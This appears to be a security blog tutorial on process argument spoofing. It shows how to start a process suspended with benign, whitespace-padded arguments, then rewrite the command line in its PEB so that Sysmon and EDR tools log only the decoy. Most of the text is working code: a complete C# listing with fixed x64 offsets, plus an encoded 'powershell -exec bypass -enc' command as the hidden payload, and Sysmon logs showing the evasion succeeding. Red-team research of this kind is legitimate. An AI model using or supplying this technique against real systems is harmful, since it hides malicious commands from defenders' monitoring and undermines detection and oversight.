Process Argument Spoofing

Endpoint Detection and Response (EDR) agents track process trajectory. This includes processes that have been executed, and their associated arguments.

For instance, below we can see Carbon Black Response analyzing a process and it’s associated arguments. It should be clear to a security analyst that something suspicious is likely going on here.

Using Microsoft Sysmon we can also monitor process start events (including their arguments). For instance, executing the following suspicious PowerShell command:

powershell.exe -exec bypass -enc JgAgAHsAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAFAAVwBOAEQAJwAsACcAVwBBAFIATgBJAE4ARwAnACkAfQA=

This command is then logged in “Applications and Services Logs\Microsoft\Windows\Sysmon\Operational\” as a process create event:

Process Create:
RuleName: -
UtcTime: 2022-05-07 08:17:43.572
ProcessGuid: {bfeda785-2b27-6276-ee03-000000001800}
ProcessId: 14072
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.19041.546 (WinBuild.160101.0800)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: powershell.exe  -exec bypass -enc JgAgAHsAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAFAAVwBOAEQAJwAsACcAVwBBAFIATgBJAE4ARwAnACkAfQA=

Most EDR solutions would determine this is a suspicious event, and generate an alarm.

In this article, we’re going to look at a way of tampering with the PEB to prevent Sysmon logging our process arguments.

PEB Tampering

The Process Environment Block (PEB) is a data structure that holds information about a current process. It records the command line that was used to start an application.

To prevent Sysmon from logging our arguments, we can do the following;

  • Start the application in a suspended state with benign arguments
  • Wait for Sysmon to log our initial set of arguments
  • Modify the PEB command line parameters
  • Resume our suspended process

The result will be the application will start with our second set of arguments, but Sysmon will only see the first set.

C# Example

1. Start a Process With CreateProcess

First, we need to start a suspended process using CreateProcess. The method signature for this function is as follows:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

Define the following data structures:

Implement the function call. Note that the CREATE_SUSPENDED flag is used:

            STARTUPINFO si = new STARTUPINFO();
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
            CreateProcess(null, Command, ref sa, ref sa, false, CreateProcessFlags.CREATE_SUSPENDED | CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, "C:\\windows\\", ref si, out PROCESS_INFORMATION processInfo);
            Console.WriteLine("PID: {0}", new string[] { processInfo.dwProcessId.ToString() });

2. Retrieve the PEB Base Address

Next, we need to locate the PEB. This requires importing the following structures;

Using NtQueryInformationProcess we can then query the PEB address:

            //Retrieve PEB address
            PROCESSINFOCLASS pic = new PROCESSINFOCLASS();
            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
            int status = NtQueryInformationProcess(processInfo.hProcess, pic, out pbi, Marshal.SizeOf(pbi), out int retLength);
            Console.WriteLine("PEB Base Address: 0x{0}", new string[] { pbi.PebBaseAddress.ToString("X") });

Let’s run the application and check the output is correct:

PEBModification.exe
Process ID: 3756
Process Handle : 628
PEB Base Address: 0x5C0C03B000

We can verify the correct base address has been found using WinDBG;

0:001> !peb
PEB at 0000005c0c03b000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00007ff655470000
    NtGlobalFlag:             70
    NtGlobalFlag2:            0
    Ldr                       00007ff88b63a4c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 0000024e804528c0 . 0000024e80452ff0
    Ldr.InLoadOrderModuleList:           0000024e80452a70 . 0000024e80459050
    Ldr.InMemoryOrderModuleList:         0000024e80452a80 . 0000024e80459060
                    Base TimeStamp                     Module
            7ff655470000 4178aed3 Oct 22 07:55:15 2004 C:\Windows\Notepad.exe
            7ff88b4d0000 1be73aa8 Nov 01 06:31:04 1984 C:\Windows\SYSTEM32\ntdll.dll
            7ff88b3d0000 f32175d9 Apr 05 08:12:25 2099 C:\Windows\System32\KERNEL32.DLL
            7ff889150000 630193b4 Aug 21 03:08:52 2022 C:\Windows\System32\KERNELBASE.dll
            7ff88b100000 af7f8e80 Apr 21 10:12:32 2063 C:\Windows\System32\GDI32.dll
            7ff889420000 0dcd0213 May 03 21:26:59 1977 C:\Windows\System32\win32u.dll
            7ff888db0000 5a620ac7 Jan 19 15:12:07 2018 C:\Windows\System32\gdi32full.dll
            7ff8890b0000 39255ccf May 19 16:25:03 2000 C:\Windows\System32\msvcp_win.dll
            7ff888bf0000 2bd748bf Apr 23 02:39:11 1993 C:\Windows\System32\ucrtbase.dll
            7ff8899a0000 e1c9e1a1 Jan 14 19:08:17 2090 C:\Windows\System32\USER32.dll
            7ff889b40000 f865610e Jan 22 17:19:10 2102 C:\Windows\System32\combase.dll
            7ff88a330000 356b3995 May 26 22:52:21 1998 C:\Windows\System32\RPCRT4.dll
            7ff88a6a0000 4cd0af01 Nov 03 00:38:25 2010 C:\Windows\System32\shcore.dll
            7ff88a600000 564f9f39 Nov 20 22:31:21 2015 C:\Windows\System32\msvcrt.dll
            7ff86bc90000 db2b08ef Jul 09 06:23:59 2086 C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e\COMCTL32.dll
    SubSystemData:     0000000000000000
    ProcessHeap:       0000024e80450000
    ProcessParameters: 0000024e80452020
    CurrentDirectory:  'C:\windows\'
    WindowTitle:  'C:\Windows\Notepad.exe'
    ImageFile:    'C:\Windows\Notepad.exe'
    CommandLine:  ' c:\test.txt'
    DllPath:      '< Name not readable >'
    Environment:  0000024e80451130

3. Retrieve a Pointer to the PEB CommandLine Address

Using ReadProcessMemory, we can use the pointer to the PEB to read memory at relative offsets in the PEB. The method signature is as follows:

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

We can determine the required offsets using WinDBG:

1:004> dt _peb @$peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff6`b6390000 Void
   +0x018 Ldr              : 0x00007ffc`3c91a4c0 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x000001bf`68f52380 _RTL_USER_PROCESS_PARAMETERS
   <SNIP>

1:004> dx -id 0,1 -r1 ((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x1bf68f52380)
((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x1bf68f52380)                 : 0x1bf68f52380 [Type: _RTL_USER_PROCESS_PARAMETERS *]
    [+0x000] MaximumLength    : 0xa6e [Type: unsigned long]
    [+0x004] Length           : 0xa6e [Type: unsigned long]
    [+0x008] Flags            : 0x6001 [Type: unsigned long]
    [+0x00c] DebugFlags       : 0x0 [Type: unsigned long]
    [+0x010] ConsoleHandle    : 0x44 [Type: void *]
    [+0x018] ConsoleFlags     : 0x0 [Type: unsigned long]
    [+0x020] StandardInput    : 0x50 [Type: void *]
    [+0x028] StandardOutput   : 0x54 [Type: void *]
    [+0x030] StandardError    : 0x58 [Type: void *]
    [+0x038] CurrentDirectory [Type: _CURDIR]
    [+0x050] DllPath          [Type: _UNICODE_STRING]
    [+0x060] ImagePathName    [Type: _UNICODE_STRING]
    [+0x070] CommandLine      [Type: _UNICODE_STRING]
1:004> dx -id 0,1 -r1 (*((ntdll!_UNICODE_STRING *)0x1bf68f523f0))
(*((ntdll!_UNICODE_STRING *)0x1bf68f523f0))                 [Type: _UNICODE_STRING]
    [+0x000] Length           : 0x31a [Type: unsigned short]
    [+0x002] MaximumLength    : 0x31c [Type: unsigned short]
    [+0x008] Buffer           : 0x1bf68f52a3c : "powershell.exe -NoLogo                                                                                                                                                                                                                                                                                                                                                                                       " [Type: wchar_t *]

First we read at offset 0x20 to get the ProcessParamter address, then offset 0x78 for the CommandLine offset:

            //Retrieve ProcessParameter address pointer (0x20 from PEB base)
            byte[] pebBuffer = new byte[8];
            ReadProcessMemory(processInfo.hProcess, pbi.PebBaseAddress + 0x20, pebBuffer, pebBuffer.Length, out IntPtr bytesRead2);
            IntPtr ProcessParameters = (IntPtr)(BitConverter.ToInt64(pebBuffer, 0));
            Console.WriteLine("Process Parameters Address: 0x{0}", new string[] { ProcessParameters.ToString("X") });

            //Retrieve CommandLine address pointer (0x78 from ProcessParmeter)
            byte[] cmdBuffer = new byte[8];
            ReadProcessMemory(processInfo.hProcess, ProcessParameters + 0x78, cmdBuffer, cmdBuffer.Length, out bytesRead2);
            IntPtr CommandLine = (IntPtr)(BitConverter.ToInt64(cmdBuffer, 0));
            Console.WriteLine("CommandLine Address: 0x{0}", new string[] { CommandLine.ToString("X") });

4. Write our New CommandLine Parameter to the PEB

We need to write our new command at offset 0x78 (address retrieved from previous step) and the length argument to offset 0x70 using WriteProcessMemory;

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Writing the new values:

            // Write our new command to CommandLine PEB Address
            byte[] newCmdLine = Encoding.Unicode.GetBytes(newCommand);
            WriteProcessMemory(processInfo.hProcess, CommandLine, newCmdLine, newCmdLine.Length, out IntPtr lpNumberOfBytesWritten);

            // Write command length to PEB at offset 0x70
            byte[] sizeOfCmd = BitConverter.GetBytes((ushort)(Command.Length));

            WriteProcessMemory(processInfo.hProcess, IntPtr.Add(ProcessParameters, 112), sizeOfCmd, sizeOfCmd.Length, out lpNumberOfBytesWritten);

5. Resume Our Thread

Finally, calling ResumeThread will start our application:

            // Resume the process
            ResumeThread(processInfo.hThread);

The command will execute successfully with a PowerShell encoded command, but Sysmon will only see the original arguments:

Process Create:
RuleName: -
UtcTime: 2022-05-07 08:39:49.540
ProcessGuid: {bfeda785-3055-6276-0f04-000000001800}
ProcessId: 11164
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.19041.546 (WinBuild.160101.0800)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: powershell.exe -NoLogo                                                                                                                                                                                                                                                                                                                                                                                       
CurrentDirectory: C:\windows\
User: DESKTOP-UGA534N\user
LogonGuid: {bfeda785-2bea-6275-a411-030000000000}
LogonId: 0x311A4
TerminalSessionId: 1
IntegrityLevel: Medium

Finished Code Listing

Two things to note;

  • The code is for x64 systems, as the offsets are based on this.
  • The original command always needs to be longer than the one we’re swapping it with. This is the reason the original command is padded with whitespace.
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

// x64 Process Argument Spoofing

namespace PEBModification
{

    internal class Program 
    {
        static void Main(string[] args)
        {
            string newCommand = "powershell.exe -exec bypass -enc JgAgAHsAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAFAAVwBOAEQAJwAsACcAVwBBAFIATgBJAE4ARwAnACkAfQA=";
            string Command = "powershell.exe -NoLogo".PadRight(newCommand.Length, ' ');
            Console.WriteLine("Starting... " + Command.Trim());

            //Start Process
            Win32.STARTUPINFO si = new Win32.STARTUPINFO();
            Win32.SECURITY_ATTRIBUTES sa = new Win32.SECURITY_ATTRIBUTES();
            Win32.CreateProcess(null, Command, ref sa, ref sa, false, Win32.CreateProcessFlags.CREATE_SUSPENDED | Win32.CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, "C:\\windows\\", ref si, out Win32.PROCESS_INFORMATION processInfo);
            Console.WriteLine("PID: {0}", new string[] { processInfo.dwProcessId.ToString() });

            //Retrieve PEB address
            Win32.PROCESSINFOCLASS pic = new Win32.PROCESSINFOCLASS();
            Win32.PROCESS_BASIC_INFORMATION pbi = new Win32.PROCESS_BASIC_INFORMATION();
            int status = Win32.NtQueryInformationProcess(processInfo.hProcess, pic, out pbi, Marshal.SizeOf(pbi), out int retLength);
            Console.WriteLine("PEB Base Address: 0x{0}", new string[] { pbi.PebBaseAddress.ToString("X") });

            //Retrieve ProcessParameter address pointer (0x20 from PEB base)
            byte[] pebBuffer = new byte[8];
            Win32.ReadProcessMemory(processInfo.hProcess, pbi.PebBaseAddress + 0x20, pebBuffer, pebBuffer.Length, out IntPtr bytesRead2);
            IntPtr ProcessParameters = (IntPtr)(BitConverter.ToInt64(pebBuffer, 0));
            Console.WriteLine("Process Parameters Address: 0x{0}", new string[] { ProcessParameters.ToString("X") });

            //Retrieve CommandLine address pointer (0x78 from ProcessParmeter)
            byte[] cmdBuffer = new byte[8];
            Win32.ReadProcessMemory(processInfo.hProcess, ProcessParameters + 0x78, cmdBuffer, cmdBuffer.Length, out bytesRead2);
            IntPtr CommandLine = (IntPtr)(BitConverter.ToInt64(cmdBuffer, 0));
            Console.WriteLine("CommandLine Address: 0x{0}", new string[] { CommandLine.ToString("X") });

            // Write our new command to CommandLine PEB Address
            byte[] newCmdLine = Encoding.Unicode.GetBytes(newCommand);
            Win32.WriteProcessMemory(processInfo.hProcess, CommandLine, newCmdLine, newCmdLine.Length, out IntPtr lpNumberOfBytesWritten);

            // Write command length to PEB at offset 0x70
            byte[] sizeOfCmd = BitConverter.GetBytes((ushort)(Command.Length));
            Win32.WriteProcessMemory(processInfo.hProcess, IntPtr.Add(ProcessParameters, 112), sizeOfCmd, sizeOfCmd.Length, out lpNumberOfBytesWritten);

            Console.WriteLine("Waiting...");
            Console.ReadKey();

            // Resume the process
            Win32.ResumeThread(processInfo.hThread);
            Console.WriteLine("Done!");
            Console.ReadLine();

        }

    }

    class Win32
    {

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes, ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtQueryInformationProcess(IntPtr hProcess, Win32.PROCESSINFOCLASS pic, out Win32.PROCESS_BASIC_INFORMATION pbi, int cb, out int pSize);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(IntPtr hThread);


        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        public enum PROCESSINFOCLASS
        {
            ProcessBasicInformation = 0x00,
            ProcessQuotaLimits = 0x01,
            ProcessIoCounters = 0x02,
            ProcessVmCounters = 0x03,
            ProcessTimes = 0x04,
            ProcessBasePriority = 0x05,
            ProcessRaisePriority = 0x06,
            ProcessDebugPort = 0x07,
            ProcessExceptionPort = 0x08,
            ProcessAccessToken = 0x09,
            ProcessLdtInformation = 0x0A,
            ProcessLdtSize = 0x0B,
            ProcessDefaultHardErrorMode = 0x0C,
            ProcessIoPortHandlers = 0x0D,
            ProcessPooledUsageAndLimits = 0x0E,
            ProcessWorkingSetWatch = 0x0F,
            ProcessUserModeIOPL = 0x10,
            ProcessEnableAlignmentFaultFixup = 0x11,
            ProcessPriorityClass = 0x12,
            ProcessWx86Information = 0x13,
            ProcessHandleCount = 0x14,
            ProcessAffinityMask = 0x15,
            ProcessPriorityBoost = 0x16,
            ProcessDeviceMap = 0x17,
            ProcessSessionInformation = 0x18,
            ProcessForegroundInformation = 0x19,
            ProcessWow64Information = 0x1A,
            ProcessImageFileName = 0x1B,
            ProcessLUIDDeviceMapsEnabled = 0x1C,
            ProcessBreakOnTermination = 0x1D,
            ProcessDebugObjectHandle = 0x1E,
            ProcessDebugFlags = 0x1F,
            ProcessHandleTracing = 0x20,
            ProcessIoPriority = 0x21,
            ProcessExecuteFlags = 0x22,
            ProcessResourceManagement = 0x23,
            ProcessCookie = 0x24,
            ProcessImageInformation = 0x25,
            ProcessCycleTime = 0x26,
            ProcessPagePriority = 0x27,
            ProcessInstrumentationCallback = 0x28,
            ProcessThreadStackAllocation = 0x29,
            ProcessWorkingSetWatchEx = 0x2A,
            ProcessImageFileNameWin32 = 0x2B,
            ProcessImageFileMapping = 0x2C,
            ProcessAffinityUpdateMode = 0x2D,
            ProcessMemoryAllocationMode = 0x2E,
            ProcessGroupInformation = 0x2F,
            ProcessTokenVirtualizationEnabled = 0x30,
            ProcessConsoleHostProcess = 0x31,
            ProcessWindowInformation = 0x32,
            ProcessHandleInformation = 0x33,
            ProcessMitigationPolicy = 0x34,
            ProcessDynamicFunctionTableInformation = 0x35,
            ProcessHandleCheckingMode = 0x36,
            ProcessKeepAliveCount = 0x37,
            ProcessRevokeFileHandles = 0x38,
            ProcessWorkingSetControl = 0x39,
            ProcessHandleTable = 0x3A,
            ProcessCheckStackExtentsMode = 0x3B,
            ProcessCommandLineInformation = 0x3C,
            ProcessProtectionInformation = 0x3D,
            ProcessMemoryExhaustion = 0x3E,
            ProcessFaultInformation = 0x3F,
            ProcessTelemetryIdInformation = 0x40,
            ProcessCommitReleaseInformation = 0x41,
            ProcessDefaultCpuSetsInformation = 0x42,
            ProcessAllowedCpuSetsInformation = 0x43,
            ProcessSubsystemProcess = 0x44,
            ProcessJobMemoryInformation = 0x45,
            ProcessInPrivate = 0x46,
            ProcessRaiseUMExceptionOnInvalidHandleClose = 0x47,
            ProcessIumChallengeResponse = 0x48,
            ProcessChildProcessInformation = 0x49,
            ProcessHighGraphicsPriorityInformation = 0x4A,
            ProcessSubsystemInformation = 0x4B,
            ProcessEnergyValues = 0x4C,
            ProcessActivityThrottleState = 0x4D,
            ProcessActivityThrottlePolicy = 0x4E,
            ProcessWin32kSyscallFilterInformation = 0x4F,
            ProcessDisableSystemAllowedCpuSets = 0x50,
            ProcessWakeInformation = 0x51,
            ProcessEnergyTrackingState = 0x52,
            ProcessManageWritesToExecutableMemory = 0x53,
            ProcessCaptureTrustletLiveDump = 0x54,
            ProcessTelemetryCoverage = 0x55,
            ProcessEnclaveInformation = 0x56,
            ProcessEnableReadWriteVmLogging = 0x57,
            ProcessUptimeInformation = 0x58,
            ProcessImageSection = 0x59,
            ProcessDebugAuthInformation = 0x5A,
            ProcessSystemResourceManagement = 0x5B,
            ProcessSequenceNumber = 0x5C,
            ProcessLoaderDetour = 0x5D,
            ProcessSecurityDomainInformation = 0x5E,
            ProcessCombineSecurityDomainsInformation = 0x5F,
            ProcessEnableLogging = 0x60,
            ProcessLeapSecondInformation = 0x61,
            ProcessFiberShadowStackAllocation = 0x62,
            ProcessFreeFiberShadowStackAllocation = 0x63,
            MaxProcessInfoClass = 0x64
        };


        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }

        public struct PROCESS_BASIC_INFORMATION
        {
            public int ExitStatus;
            public IntPtr PebBaseAddress;
            public UIntPtr AffinityMask;
            public int BasePriority;
            public UIntPtr UniqueProcessId;
            public UIntPtr InheritedFromUniqueProcessId;
        }

        [Flags]
        public enum CreateProcessFlags
        {
            CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
            CREATE_DEFAULT_ERROR_MODE = 0x04000000,
            CREATE_NEW_CONSOLE = 0x00000010,
            CREATE_NEW_PROCESS_GROUP = 0x00000200,
            CREATE_NO_WINDOW = 0x08000000,
            CREATE_PROTECTED_PROCESS = 0x00040000,
            CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
            CREATE_SEPARATE_WOW_VDM = 0x00000800,
            CREATE_SHARED_WOW_VDM = 0x00001000,
            CREATE_SUSPENDED = 0x00000004,
            CREATE_UNICODE_ENVIRONMENT = 0x00000400,
            DEBUG_ONLY_THIS_PROCESS = 0x00000002,
            DEBUG_PROCESS = 0x00000001,
            DETACHED_PROCESS = 0x00000008,
            EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
            INHERIT_PARENT_AFFINITY = 0x00010000
        }

    }
}